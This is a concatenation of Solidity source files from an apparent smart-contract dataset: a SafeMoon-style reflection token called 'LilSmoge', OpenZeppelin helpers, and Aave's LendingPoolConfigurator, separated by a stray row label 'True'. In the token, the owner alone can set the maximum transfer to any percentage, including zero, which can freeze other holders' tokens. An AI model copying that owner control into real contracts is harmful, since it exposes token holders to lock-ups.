* @dev Replacement for Solidity's `transfer`: sends `amount` wei to
* `recipient`, forwarding all available gas and reverting on errors.
*
* https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost
* of certain opcodes, possibly making contracts go over the 2300 gas limit
* imposed by `transfer`, making them unable to receive funds via
* `transfer`. {sendValue} removes this limitation.
*
* https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more].
*
* IMPORTANT: because control is transferred to `recipient`, care must be
* taken to not create reentrancy vulnerabilities. Consider using
* {ReentrancyGuard} or the
* https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern].
*/
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
// solhint-disable-next-line avoid-low-level-calls, avoid-call-value
(bool success, ) = recipient.call{ value: amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
/**
* @dev Performs a Solidity function call using a low level `call`. A
* plain`call` is an unsafe replacement for a function call: use this
* function instead.
*
* If `target` reverts with a revert reason, it is bubbled up by this
* function (like regular Solidity function calls).
*
* Returns the raw returned data. To convert to the expected return value,
* use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`].
*
* Requirements:
*
* - `target` must be a contract.
* - calling `target` with `data` must not revert.
*
* _Available since v3.1._
*/
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with
* `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
return _functionCallWithValue(target, data, 0, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but also transferring `value` wei to `target`.
*
* Requirements:
*
* - the calling contract must have an ETH balance of at least `value`.
* - the called Solidity function must be `payable`.
*
* _Available since v3.1._
*/
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
/**
* @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but
* with `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
return _functionCallWithValue(target, data, value, errorMessage);
}
function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) {
require(isContract(target), "Address: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call{ value: weiValue }(data);
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
// solhint-disable-next-line no-inline-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev Initializes the contract setting the deployer as the initial owner.
*/
constructor () internal {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
/**
* @dev Returns the address of the current owner.
*/
function owner() public view returns (address) {
return _owner;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
/**
* @dev Leaves the contract without owner. It will not be possible to call
* `onlyOwner` functions anymore. Can only be called by the current owner.
*
* NOTE: Renouncing ownership will leave the contract without an owner,
* thereby removing any functionality that is only available to the owner.
*/
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Can only be called by the current owner.
*/
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
contract LilSmoge is Context, IERC20, Ownable {
using SafeMath for uint256;
using Address for address;
mapping (address => uint256) private _rOwned;
mapping (address => uint256) private _tOwned;
mapping (address => mapping (address => uint256)) private _allowances;
mapping (address => bool) private _isExcluded;
address[] private _excluded;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _tTotal = 1000000000000000 * 10**9;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
string private _name = 'LilSmoge';
string private _symbol = 'LSMG';
uint8 private _decimals = 9;
uint256 public _maxTxAmount = 1000000000000000 * 10**9;
constructor () public {
_rOwned[_msgSender()] = _rTotal;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function name() public view returns (string memory) {
return _name;
}
function symbol() public view returns (string memory) {
return _symbol;
}
function decimals() public view returns (uint8) {
return _decimals;
}
function totalSupply() public view override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
if (_isExcluded[account]) return _tOwned[account];
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
return true;
}
function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
return true;
}
function isExcluded(address account) public view returns (bool) {
return _isExcluded[account];
}
function totalFees() public view returns (uint256) {
return _tFeeTotal;
}
function setMaxTxPercent(uint256 maxTxPercent) external onlyOwner() {
_maxTxAmount = _tTotal.mul(maxTxPercent).div(
10**2
);
}
function reflect(uint256 tAmount) public {
address sender = _msgSender();
require(!_isExcluded[sender], "Excluded addresses cannot call this function");
(uint256 rAmount,,,,) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rTotal = _rTotal.sub(rAmount);
_tFeeTotal = _tFeeTotal.add(tAmount);
}
function reflectionFromToken(uint256 tAmount, bool deductTransferFee) public view returns(uint256) {
require(tAmount <= _tTotal, "Amount must be less than supply");
if (!deductTransferFee) {
(uint256 rAmount,,,,) = _getValues(tAmount);
return rAmount;
} else {
(,uint256 rTransferAmount,,,) = _getValues(tAmount);
return rTransferAmount;
}
}
function tokenFromReflection(uint256 rAmount) public view returns(uint256) {
require(rAmount <= _rTotal, "Amount must be less than total reflections");
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function excludeAccount(address account) external onlyOwner() {
require(!_isExcluded[account], "Account is already excluded");
if(_rOwned[account] > 0) {
_tOwned[account] = tokenFromReflection(_rOwned[account]);
}
_isExcluded[account] = true;
_excluded.push(account);
}
function includeAccount(address account) external onlyOwner() {
require(_isExcluded[account], "Account is already excluded");
for (uint256 i = 0; i < _excluded.length; i++) {
if (_excluded[i] == account) {
_excluded[i] = _excluded[_excluded.length - 1];
_tOwned[account] = 0;
_isExcluded[account] = false;
_excluded.pop();
break;
}
}
}
function _approve(address owner, address spender, uint256 amount) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(address sender, address recipient, uint256 amount) private {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
if(sender != owner() && recipient != owner())
require(amount <= _maxTxAmount, "Transfer amount exceeds the maxTxAmount.");
if (_isExcluded[sender] && !_isExcluded[recipient]) {
_transferFromExcluded(sender, recipient, amount);
} else if (!_isExcluded[sender] && _isExcluded[recipient]) {
_transferToExcluded(sender, recipient, amount);
} else if (!_isExcluded[sender] && !_isExcluded[recipient]) {
_transferStandard(sender, recipient, amount);
} else if (_isExcluded[sender] && _isExcluded[recipient]) {
_transferBothExcluded(sender, recipient, amount);
} else {
_transferStandard(sender, recipient, amount);
}
}
function _transferStandard(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _transferToExcluded(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_tOwned[recipient] = _tOwned[recipient].add(tTransferAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _transferFromExcluded(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee) = _getValues(tAmount);
_tOwned[sender] = _tOwned[sender].sub(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _transferBothExcluded(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee) = _getValues(tAmount);
_tOwned[sender] = _tOwned[sender].sub(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_tOwned[recipient] = _tOwned[recipient].add(tTransferAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256) {
(uint256 tTransferAmount, uint256 tFee) = _getTValues(tAmount);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee);
}
function _getTValues(uint256 tAmount) private pure returns (uint256, uint256) {
uint256 tFee = tAmount.div(100).mul(2);
uint256 tTransferAmount = tAmount.sub(tFee);
return (tTransferAmount, tFee);
}
function _getRValues(uint256 tAmount, uint256 tFee, uint256 currentRate) private pure returns (uint256, uint256, uint256) {
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns(uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns(uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
for (uint256 i = 0; i < _excluded.length; i++) {
if (_rOwned[_excluded[i]] > rSupply || _tOwned[_excluded[i]] > tSupply) return (_rTotal, _tTotal);
rSupply = rSupply.sub(_rOwned[_excluded[i]]);
tSupply = tSupply.sub(_tOwned[_excluded[i]]);
}
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
} | True | [
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|
// SPDX-License-Identifier: agpl-3.0
pragma solidity 0.6.12;
pragma experimental ABIEncoderV2;
import {SafeMath} from '../../dependencies/openzeppelin/contracts/SafeMath.sol';
import {VersionedInitializable} from '../libraries/aave-upgradeability/VersionedInitializable.sol';
import {
InitializableImmutableAdminUpgradeabilityProxy
} from '../libraries/aave-upgradeability/InitializableImmutableAdminUpgradeabilityProxy.sol';
import {ReserveConfiguration} from '../libraries/configuration/ReserveConfiguration.sol';
import {ILendingPoolAddressesProvider} from '../../interfaces/ILendingPoolAddressesProvider.sol';
import {ILendingPool} from '../../interfaces/ILendingPool.sol';
import {IERC20Detailed} from '../../dependencies/openzeppelin/contracts/IERC20Detailed.sol';
import {Errors} from '../libraries/helpers/Errors.sol';
import {PercentageMath} from '../libraries/math/PercentageMath.sol';
import {DataTypes} from '../libraries/types/DataTypes.sol';
import {IInitializableDebtToken} from '../../interfaces/IInitializableDebtToken.sol';
import {IInitializableAToken} from '../../interfaces/IInitializableAToken.sol';
import {IAaveIncentivesController} from '../../interfaces/IAaveIncentivesController.sol';
import {ILendingPoolConfigurator} from '../../interfaces/ILendingPoolConfigurator.sol';
/**
* @title LendingPoolConfigurator contract
* @author Aave
* @dev Implements the configuration methods for the Aave protocol
**/
contract LendingPoolConfigurator is VersionedInitializable, ILendingPoolConfigurator {
using SafeMath for uint256;
using PercentageMath for uint256;
using ReserveConfiguration for DataTypes.ReserveConfigurationMap;
ILendingPoolAddressesProvider internal addressesProvider;
ILendingPool internal pool;
modifier onlyPoolAdmin {
require(addressesProvider.getPoolAdmin() == msg.sender, Errors.CALLER_NOT_POOL_ADMIN);
_;
}
modifier onlyEmergencyAdmin {
require(
addressesProvider.getEmergencyAdmin() == msg.sender,
Errors.LPC_CALLER_NOT_EMERGENCY_ADMIN
);
_;
}
uint256 internal constant CONFIGURATOR_REVISION = 0x1;
function getRevision() internal pure override returns (uint256) {
return CONFIGURATOR_REVISION;
}
function initialize(ILendingPoolAddressesProvider provider) public initializer {
addressesProvider = provider;
pool = ILendingPool(addressesProvider.getLendingPool());
}
/**
* @dev Initializes reserves in batch
**/
function batchInitReserve(InitReserveInput[] calldata input) external onlyPoolAdmin {
ILendingPool cachedPool = pool;
for (uint256 i = 0; i < input.length; i++) {
_initReserve(cachedPool, input[i]);
}
}
function _initReserve(ILendingPool pool, InitReserveInput calldata input) internal {
address aTokenProxyAddress =
_initTokenWithProxy(
input.aTokenImpl,
abi.encodeWithSelector(
IInitializableAToken.initialize.selector,
pool,
input.treasury,
input.underlyingAsset,
IAaveIncentivesController(input.incentivesController),
input.underlyingAssetDecimals,
input.aTokenName,
input.aTokenSymbol,
input.params
)
);
address stableDebtTokenProxyAddress =
_initTokenWithProxy(
input.stableDebtTokenImpl,
abi.encodeWithSelector(
IInitializableDebtToken.initialize.selector,
pool,
input.underlyingAsset,
IAaveIncentivesController(input.incentivesController),
input.underlyingAssetDecimals,
input.stableDebtTokenName,
input.stableDebtTokenSymbol,
input.params
)
);
address variableDebtTokenProxyAddress =
_initTokenWithProxy(
input.variableDebtTokenImpl,
abi.encodeWithSelector(
IInitializableDebtToken.initialize.selector,
pool,
input.underlyingAsset,
IAaveIncentivesController(input.incentivesController),
input.underlyingAssetDecimals,
input.variableDebtTokenName,
input.variableDebtTokenSymbol,
input.params
)
);
pool.initReserve(
input.underlyingAsset,
aTokenProxyAddress,
stableDebtTokenProxyAddress,
variableDebtTokenProxyAddress,
input.interestRateStrategyAddress
);
DataTypes.ReserveConfigurationMap memory currentConfig =
pool.getConfiguration(input.underlyingAsset);
currentConfig.setDecimals(input.underlyingAssetDecimals);
currentConfig.setActive(true);
currentConfig.setFrozen(false);
pool.setConfiguration(input.underlyingAsset, currentConfig.data);
emit ReserveInitialized(
input.underlyingAsset,
aTokenProxyAddress,
stableDebtTokenProxyAddress,
variableDebtTokenProxyAddress,
input.interestRateStrategyAddress
);
}
/**
* @dev Updates the aToken implementation for the reserve
**/
function updateAToken(UpdateATokenInput calldata input) external onlyPoolAdmin {
ILendingPool cachedPool = pool;
DataTypes.ReserveData memory reserveData = cachedPool.getReserveData(input.asset);
(, , , uint256 decimals, ) = cachedPool.getConfiguration(input.asset).getParamsMemory();
bytes memory encodedCall = abi.encodeWithSelector(
IInitializableAToken.initialize.selector,
cachedPool,
input.treasury,
input.asset,
input.incentivesController,
decimals,
input.name,
input.symbol,
input.params
);
_upgradeTokenImplementation(
reserveData.aTokenAddress,
input.implementation,
encodedCall
);
emit ATokenUpgraded(input.asset, reserveData.aTokenAddress, input.implementation);
}
/**
* @dev Updates the stable debt token implementation for the reserve
**/
function updateStableDebtToken(UpdateDebtTokenInput calldata input) external onlyPoolAdmin {
ILendingPool cachedPool = pool;
DataTypes.ReserveData memory reserveData = cachedPool.getReserveData(input.asset);
(, , , uint256 decimals, ) = cachedPool.getConfiguration(input.asset).getParamsMemory();
bytes memory encodedCall = abi.encodeWithSelector(
IInitializableDebtToken.initialize.selector,
cachedPool,
input.asset,
input.incentivesController,
decimals,
input.name,
input.symbol,
input.params
);
_upgradeTokenImplementation(
reserveData.stableDebtTokenAddress,
input.implementation,
encodedCall
);
emit StableDebtTokenUpgraded(
input.asset,
reserveData.stableDebtTokenAddress,
input.implementation
);
}
/**
* @dev Updates the variable debt token implementation for the asset
**/
function updateVariableDebtToken(UpdateDebtTokenInput calldata input)
external
onlyPoolAdmin
{
ILendingPool cachedPool = pool;
DataTypes.ReserveData memory reserveData = cachedPool.getReserveData(input.asset);
(, , , uint256 decimals, ) = cachedPool.getConfiguration(input.asset).getParamsMemory();
bytes memory encodedCall = abi.encodeWithSelector(
IInitializableDebtToken.initialize.selector,
cachedPool,
input.asset,
input.incentivesController,
decimals,
input.name,
input.symbol,
input.params
);
_upgradeTokenImplementation(
reserveData.variableDebtTokenAddress,
input.implementation,
encodedCall
);
emit VariableDebtTokenUpgraded(
input.asset,
reserveData.variableDebtTokenAddress,
input.implementation
);
}
/**
* @dev Enables borrowing on a reserve
* @param asset The address of the underlying asset of the reserve
* @param stableBorrowRateEnabled True if stable borrow rate needs to be enabled by default on this reserve
**/
function enableBorrowingOnReserve(address asset, bool stableBorrowRateEnabled)
external
onlyPoolAdmin
{
DataTypes.ReserveConfigurationMap memory currentConfig = pool.getConfiguration(asset);
currentConfig.setBorrowingEnabled(true);
currentConfig.setStableRateBorrowingEnabled(stableBorrowRateEnabled);
pool.setConfiguration(asset, currentConfig.data);
emit BorrowingEnabledOnReserve(asset, stableBorrowRateEnabled);
}
/**
* @dev Disables borrowing on a reserve
* @param asset The address of the underlying asset of the reserve
**/
function disableBorrowingOnReserve(address asset) external onlyPoolAdmin {
DataTypes.ReserveConfigurationMap memory currentConfig = pool.getConfiguration(asset);
currentConfig.setBorrowingEnabled(false);
pool.setConfiguration(asset, currentConfig.data);
emit BorrowingDisabledOnReserve(asset);
}
/**
* @dev Configures the reserve collateralization parameters
* all the values are expressed in percentages with two decimals of precision. A valid value is 10000, which means 100.00%
* @param asset The address of the underlying asset of the reserve
* @param ltv The loan to value of the asset when used as collateral
* @param liquidationThreshold The threshold at which loans using this asset as collateral will be considered undercollateralized
* @param liquidationBonus The bonus liquidators receive to liquidate this asset. The values is always above 100%. A value of 105%
* means the liquidator will receive a 5% bonus
**/
function configureReserveAsCollateral(
address asset,
uint256 ltv,
uint256 liquidationThreshold,
uint256 liquidationBonus
) external onlyPoolAdmin {
DataTypes.ReserveConfigurationMap memory currentConfig = pool.getConfiguration(asset);
//validation of the parameters: the LTV can
//only be lower or equal than the liquidation threshold
//(otherwise a loan against the asset would cause instantaneous liquidation)
require(ltv <= liquidationThreshold, Errors.LPC_INVALID_CONFIGURATION);
if (liquidationThreshold != 0) {
//liquidation bonus must be bigger than 100.00%, otherwise the liquidator would receive less
//collateral than needed to cover the debt
require(
liquidationBonus > PercentageMath.PERCENTAGE_FACTOR,
Errors.LPC_INVALID_CONFIGURATION
);
//if threshold * bonus is less than PERCENTAGE_FACTOR, it's guaranteed that at the moment
//a loan is taken there is enough collateral available to cover the liquidation bonus
require(
liquidationThreshold.percentMul(liquidationBonus) <= PercentageMath.PERCENTAGE_FACTOR,
Errors.LPC_INVALID_CONFIGURATION
);
} else {
require(liquidationBonus == 0, Errors.LPC_INVALID_CONFIGURATION);
//if the liquidation threshold is being set to 0,
// the reserve is being disabled as collateral. To do so,
//we need to ensure no liquidity is deposited
_checkNoLiquidity(asset);
}
currentConfig.setLtv(ltv);
currentConfig.setLiquidationThreshold(liquidationThreshold);
currentConfig.setLiquidationBonus(liquidationBonus);
pool.setConfiguration(asset, currentConfig.data);
emit CollateralConfigurationChanged(asset, ltv, liquidationThreshold, liquidationBonus);
}
/**
* @dev Enable stable rate borrowing on a reserve
* @param asset The address of the underlying asset of the reserve
**/
function enableReserveStableRate(address asset) external onlyPoolAdmin {
DataTypes.ReserveConfigurationMap memory currentConfig = pool.getConfiguration(asset);
currentConfig.setStableRateBorrowingEnabled(true);
pool.setConfiguration(asset, currentConfig.data);
emit StableRateEnabledOnReserve(asset);
}
/**
* @dev Disable stable rate borrowing on a reserve
* @param asset The address of the underlying asset of the reserve
**/
function disableReserveStableRate(address asset) external onlyPoolAdmin {
DataTypes.ReserveConfigurationMap memory currentConfig = pool.getConfiguration(asset);
currentConfig.setStableRateBorrowingEnabled(false);
pool.setConfiguration(asset, currentConfig.data);
emit StableRateDisabledOnReserve(asset);
}
/**
* @dev Activates a reserve
* @param asset The address of the underlying asset of the reserve
**/
function activateReserve(address asset) external onlyPoolAdmin {
DataTypes.ReserveConfigurationMap memory currentConfig = pool.getConfiguration(asset);
currentConfig.setActive(true);
pool.setConfiguration(asset, currentConfig.data);
emit ReserveActivated(asset);
}
/**
* @dev Deactivates a reserve
* @param asset The address of the underlying asset of the reserve
**/
function deactivateReserve(address asset) external onlyPoolAdmin {
_checkNoLiquidity(asset);
DataTypes.ReserveConfigurationMap memory currentConfig = pool.getConfiguration(asset);
currentConfig.setActive(false);
pool.setConfiguration(asset, currentConfig.data);
emit ReserveDeactivated(asset);
}
/**
* @dev Freezes a reserve. A frozen reserve doesn't allow any new deposit, borrow or rate swap
* but allows repayments, liquidations, rate rebalances and withdrawals
* @param asset The address of the underlying asset of the reserve
**/
function freezeReserve(address asset) external onlyPoolAdmin {
DataTypes.ReserveConfigurationMap memory currentConfig = pool.getConfiguration(asset);
currentConfig.setFrozen(true);
pool.setConfiguration(asset, currentConfig.data);
emit ReserveFrozen(asset);
}
/**
* @dev Unfreezes a reserve
* @param asset The address of the underlying asset of the reserve
**/
function unfreezeReserve(address asset) external onlyPoolAdmin {
DataTypes.ReserveConfigurationMap memory currentConfig = pool.getConfiguration(asset);
currentConfig.setFrozen(false);
pool.setConfiguration(asset, currentConfig.data);
emit ReserveUnfrozen(asset);
}
/**
* @dev Updates the reserve factor of a reserve
* @param asset The address of the underlying asset of the reserve
* @param reserveFactor The new reserve factor of the reserve
**/
function setReserveFactor(address asset, uint256 reserveFactor) external onlyPoolAdmin {
DataTypes.ReserveConfigurationMap memory currentConfig = pool.getConfiguration(asset);
currentConfig.setReserveFactor(reserveFactor);
pool.setConfiguration(asset, currentConfig.data);
emit ReserveFactorChanged(asset, reserveFactor);
}
/**
* @dev Sets the interest rate strategy of a reserve
* @param asset The address of the underlying asset of the reserve
* @param rateStrategyAddress The new address of the interest strategy contract
**/
function setReserveInterestRateStrategyAddress(address asset, address rateStrategyAddress)
external
onlyPoolAdmin
{
pool.setReserveInterestRateStrategyAddress(asset, rateStrategyAddress);
emit ReserveInterestRateStrategyChanged(asset, rateStrategyAddress);
}
/**
* @dev pauses or unpauses all the actions of the protocol, including aToken transfers
* @param val true if protocol needs to be paused, false otherwise
**/
function setPoolPause(bool val) external onlyEmergencyAdmin {
pool.setPause(val);
}
function _initTokenWithProxy(address implementation, bytes memory initParams)
internal
returns (address)
{
InitializableImmutableAdminUpgradeabilityProxy proxy =
new InitializableImmutableAdminUpgradeabilityProxy(address(this));
proxy.initialize(implementation, initParams);
return address(proxy);
}
function _upgradeTokenImplementation(
address proxyAddress,
address implementation,
bytes memory initParams
) internal {
InitializableImmutableAdminUpgradeabilityProxy proxy =
InitializableImmutableAdminUpgradeabilityProxy(payable(proxyAddress));
proxy.upgradeToAndCall(implementation, initParams);
}
function _checkNoLiquidity(address asset) internal view {
DataTypes.ReserveData memory reserveData = pool.getReserveData(asset);
uint256 availableLiquidity = IERC20Detailed(asset).balanceOf(reserveData.aTokenAddress);
require(
availableLiquidity == 0 && reserveData.currentLiquidityRate == 0,
Errors.LPC_RESERVE_LIQUIDITY_NOT_0
);
}
}
// SPDX-License-Identifier: agpl-3.0
pragma solidity 0.6.12;
/**
* @dev Wrappers over Solidity's arithmetic operations with added overflow
* checks.
*
* Arithmetic operations in Solidity wrap on overflow. This can easily result
* in bugs, because programmers usually assume that an overflow raises an
* error, which is the standard behavior in high level programming languages.
* `SafeMath` restores this intuition by reverting the transaction when an
* operation overflows.
*
* Using this library instead of the unchecked operations eliminates an entire
* class of bugs, so it's recommended to use it always.
*/
library SafeMath {
/**
* @dev Returns the addition of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `+` operator.
*
* Requirements:
* - Addition cannot overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, 'SafeMath: addition overflow');
return c;
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, 'SafeMath: subtraction overflow');
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting with custom message on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
* - Subtraction cannot overflow.
*/
function sub(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
/**
* @dev Returns the multiplication of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `*` operator.
*
* Requirements:
* - Multiplication cannot overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, 'SafeMath: multiplication overflow');
return c;
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, 'SafeMath: division by zero');
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts with custom message on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
* - The divisor cannot be zero.
*/
function div(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
// Solidity only automatically asserts when dividing by 0
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, 'SafeMath: modulo by zero');
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts with custom message when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
* - The divisor cannot be zero.
*/
function mod(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
// SPDX-License-Identifier: agpl-3.0
pragma solidity 0.6.12;
/**
* @title VersionedInitializable
*
* @dev Helper contract to implement initializer functions. To use it, replace
* the constructor with a function that has the `initializer` modifier.
* WARNING: Unlike constructors, initializer functions must be manually
* invoked. This applies both to deploying an Initializable contract, as well
* as extending an Initializable contract via inheritance.
* WARNING: When used with inheritance, manual care must be taken to not invoke
* a parent initializer twice, or ensure that all initializers are idempotent,
* because this is not dealt with automatically as with constructors.
*
* @author Aave, inspired by the OpenZeppelin Initializable contract
*/
abstract contract VersionedInitializable {
/**
* @dev Indicates that the contract has been initialized.
*/
uint256 private lastInitializedRevision = 0;
/**
* @dev Indicates that the contract is in the process of being initialized.
*/
bool private initializing;
/**
* @dev Modifier to use in the initializer function of a contract.
*/
modifier initializer() {
uint256 revision = getRevision();
require(
initializing || isConstructor() || revision > lastInitializedRevision,
'Contract instance has already been initialized'
);
bool isTopLevelCall = !initializing;
if (isTopLevelCall) {
initializing = true;
lastInitializedRevision = revision;
}
_;
if (isTopLevelCall) {
initializing = false;
}
}
/**
* @dev returns the revision number of the contract
* Needs to be defined in the inherited class as a constant.
**/
function getRevision() internal pure virtual returns (uint256);
/**
* @dev Returns true if and only if the function is running in the constructor
**/
function isConstructor() private view returns (bool) {
// extcodesize checks the size of the code stored in an address, and
// address returns the current address. Since the code is still not
